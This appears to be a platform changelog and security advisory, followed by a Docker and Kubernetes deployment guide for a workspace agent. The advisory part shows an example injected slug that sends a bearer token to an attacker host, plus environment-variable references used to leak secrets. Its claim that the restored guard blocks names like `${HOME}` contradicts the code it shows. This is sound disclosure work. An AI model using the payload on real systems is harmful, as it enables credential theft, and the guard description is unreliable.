### 🔒 Security
|
||||
|
||||
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
|
||||
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
|
||||
|
||||
### 🐛 Bug fixes
|
||||
|
||||
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
|
||||
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
|
||||
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
|
||||
|
||||
### 🧹 Internal
|
||||
|
||||
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
|
||||
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))

## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
|
||||
|
||||
**Severity:** Critical (CWE-78)
|
||||
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
|
||||
**Affected:** `workspace-server/internal/handlers/org_helpers.go` — `expandWithEnv`
|
||||
|
||||
### Vulnerability
|
||||
|
||||
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
|
||||
|
||||
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
|
||||
|
||||
### Fix
|
||||
|
||||
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
|
||||
|
||||
```go
|
||||
c := key[0]
|
||||
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
|
||||
return "$" + key // not a valid shell identifier — return literally
|
||||
}
|
||||
```
|
||||
|
||||
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
|
||||
|
||||
### User-facing summary
|
||||
|
||||
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.

# Self-Hosted Workspace Deployment with Docker
|
||||
|
||||
This guide covers running a Molecule AI workspace agent as a Docker container on a self-hosted server or VM. It covers the Docker image, required environment variables, the built-in healthcheck, graceful shutdown, and Kubernetes deployment considerations.
|
||||
|
||||
> **Prerequisites:** A running Molecule AI control plane (self-hosted or SaaS), an `ADMIN_TOKEN` or org-scoped API key with admin scope, and Docker 20.10+ on the host.
|
||||
|
||||
## How the workspace container works
|
||||
|
||||
The Molecule AI workspace Dockerfile includes:
|
||||
|
||||
- A uvicorn server on port 8000 (configurable via `PORT`)
|
||||
- A healthcheck endpoint at `/.well-known/agent-card.json` (used by Docker and Kubernetes probes)
|
||||
- Graceful SIGTERM handling via uvicorn — the heartbeat loop and adapter tasks shut down cleanly
|
||||
|
||||
```

||||

|
||||
└─────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Step 1: Create an external workspace
|
||||
|
||||
First register the workspace as an external (self-managed) agent on the platform.
|
||||
|
||||
```bash
|
||||
ADMIN_TOKEN="your-admin-token"
|
||||
PLATFORM_URL="https://platform.moleculesai.app" # or http://localhost:8080 for local dev
|
||||
WORKSPACE=$(curl -s -X POST "${PLATFORM_URL}/workspaces" \
|
||||
-H "Authorization: Bearer ${ADMIN_TOKEN}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name": "self-hosted-agent", "runtime": "external"}')
|
||||
|
||||
WORKSPACE_ID=$(echo "$WORKSPACE" | python3 -c "import json,sys; print(json.load(sys.stdin)['id'])")
|
||||
echo "Workspace ID: $WORKSPACE_ID"
|
||||
```
|
||||
|
||||
Save the returned `WORKSPACE_ID`. The workspace agent obtains its bearer token automatically during its first registration with the platform.
|
||||
|
||||
## Step 2: Pull the workspace image
|
||||
|
||||
The workspace image is published to the Molecule AI ECR registry. Contact your platform administrator for the registry prefix and credentials, then log in:
|
||||
|
||||
```bash
|
||||
aws ecr get-login-password --region us-east-1 | \
|
||||
docker login --username AWS --password-stdin "${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com"
|
||||
|
||||
docker pull "${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com/molecule-workspace:latest"
|
||||
```
|
||||
|
||||
## Step 3: Configure environment variables
|
||||
|
||||
| Variable | Default | Description |
|
||||
|---|---|---|
|
||||
| `PLATFORM_URL` | `http://localhost:8080` | Platform API URL. Inside a Docker container, use `http://host.docker.internal:8080` to reach the platform on the host machine. |
|
||||
| `WORKSPACE_ID` | — | Workspace ID from Step 1 (required; no default) |
|
||||
| `PORT` | `8000` | Agent server port. Must match `containerPort` in Kubernetes and the port mapped with `-p` in Docker. |
|
||||
|
||||
## Step 4: Run the container
|
||||
|
||||
### Docker (standalone)
|
||||
|
||||
```bash
|
||||
docker run -d \
|
||||
--name molecule-workspace \
|
||||
-p 8000:8000 \
|
||||
-e PLATFORM_URL="http://host.docker.internal:8080" \
|
||||
-e WORKSPACE_ID="your-workspace-id" \
|
||||
-e PORT=8000 \
|
||||
"${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com/molecule-workspace:latest"
|
||||
```
|
||||
|
||||
> **Note for Linux hosts:** Docker does not include `host.docker.internal` by default. On Linux, either add `--add-host=host.docker.internal:host-gateway` to the `docker run` command, or use the host machine's IP address directly (e.g. `http://192.168.1.100:8080`).
|
||||
|
||||
### Verify the healthcheck
|
||||
|
||||
```bash
|
||||
# Wait for the container to become healthy (up to ~2 minutes)
|
||||
docker inspect --format='{{.State.Health.Status}}' molecule-workspace
|
||||
|
||||
# Expected output: healthy
|
||||
# Once healthy, the agent card is reachable:
|
||||
curl -s http://localhost:8000/.well-known/agent-card.json | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Docker Compose
|
||||
|
||||
```yaml
|
||||
services:
|
||||
molecule-workspace:
|
||||
image: "${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com/molecule-workspace:latest"
|
||||
ports:
|
||||
- "8000:8000"
|
||||
environment:
|
||||
PLATFORM_URL: "http://host.docker.internal:8080"
|
||||
WORKSPACE_ID: "your-workspace-id"
|
||||
PORT: "8000"
|
||||
# Linux hosts: add host.docker.internal resolution
|
||||
# extra_hosts:
|
||||
# - "host.docker.internal:host-gateway"
|
||||
restart: unless-stopped
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-f", "http://localhost:8000/.well-known/agent-card.json"]
|
||||
interval: 30s
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
```
|
||||
|
||||
## Step 5: Graceful shutdown
|
||||
|
||||
When the container receives SIGTERM (e.g. from `docker stop` or Kubernetes pod deletion), the workspace's uvicorn server initiates graceful shutdown: the heartbeat loop stops, active A2A tasks are given a grace period to complete, and any snapshotable state is persisted before the process exits.
|
||||
|
||||
To integrate the heartbeat loop into custom agent code:
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
import os, signal
|
||||
from heartbeat import HeartbeatLoop
|
||||
|
||||
# SIGTERM is handled by the Docker runtime, which sends the signal to the
|
||||
# workspace process. The workspace (via uvicorn) initiates graceful shutdown:
|
||||
# the heartbeat loop is stopped, any active adapter tasks are cancelled, and
|
||||
# in-flight A2A requests are given a grace period to complete.
|
||||
#
|
||||
# For custom integration with the heartbeat loop directly:
|
||||
async def main():
|
||||
heartbeat = HeartbeatLoop(
|
||||
platform_url=os.environ["PLATFORM_URL"],
|
||||
workspace_id=os.environ["WORKSPACE_ID"],
|
||||
)
|
||||
heartbeat.start()
|
||||
try:
|
||||
await asyncio.Event().wait() # keep running
|
||||
finally:
|
||||
await heartbeat.stop()
|
||||
print("Heartbeat loop stopped.")
|
||||
```
|
||||
|
||||
The Docker `stop` command sends SIGTERM and waits up to 10 seconds by default before sending SIGKILL. The healthcheck ensures orchestrators detect an unhealthy container before the SIGTERM timeout.
|
||||
|
||||
## Kubernetes deployment
|
||||
|
||||
For Kubernetes deployments, use the native liveness/readiness probe configuration instead of the Docker HEALTHCHECK:
|
||||
|
||||
```yaml
|
||||
ports:
|
||||
- name: http
|
||||
containerPort: 8000
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /.well-known/agent-card.json
|
||||
port: http
|
||||
initialDelaySeconds: 30
|
||||
periodSeconds: 30
|
||||
timeoutSeconds: 5
|
||||
failureThreshold: 3
|
||||
readinessProbe:
|
||||
httpGet:
|
||||
path: /.well-known/agent-card.json
|
||||
port: http
|
||||
initialDelaySeconds: 10
|
||||
periodSeconds: 10
|
||||
timeoutSeconds: 5
|
||||
failureThreshold: 3
|
||||
terminationGracePeriodSeconds: 120
|
||||
```
|
||||
|
||||
> **Note:** The Kubernetes `terminationGracePeriodSeconds` should exceed the liveness probe failure threshold so that the probe can register a failure before the pod is killed. With `periodSeconds: 30` and `failureThreshold: 3`, the probe does not register a failure until approximately 120–150s after the container becomes unhealthy. Set `terminationGracePeriodSeconds: 120` or higher.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Symptom | Cause | Fix |
|
||||
|---|---|---|
|
||||
| Container shows `unhealthy` after startup | Platform unreachable from container | Verify `PLATFORM_URL` uses `host.docker.internal` (Docker) or the correct host IP |
|
||||
| `curl: (7) Failed to connect` on healthcheck | Container not fully started | Wait up to 30s; increase `start_period` |
|
||||
| Agent not appearing on canvas | Wrong `WORKSPACE_ID` or expired token | Re-run registration; check platform logs |
|
||||
| `host.docker.internal` not resolved | Linux host without the Docker flag | Use `--add-host=host.docker.internal:host-gateway` or the host's LAN IP |
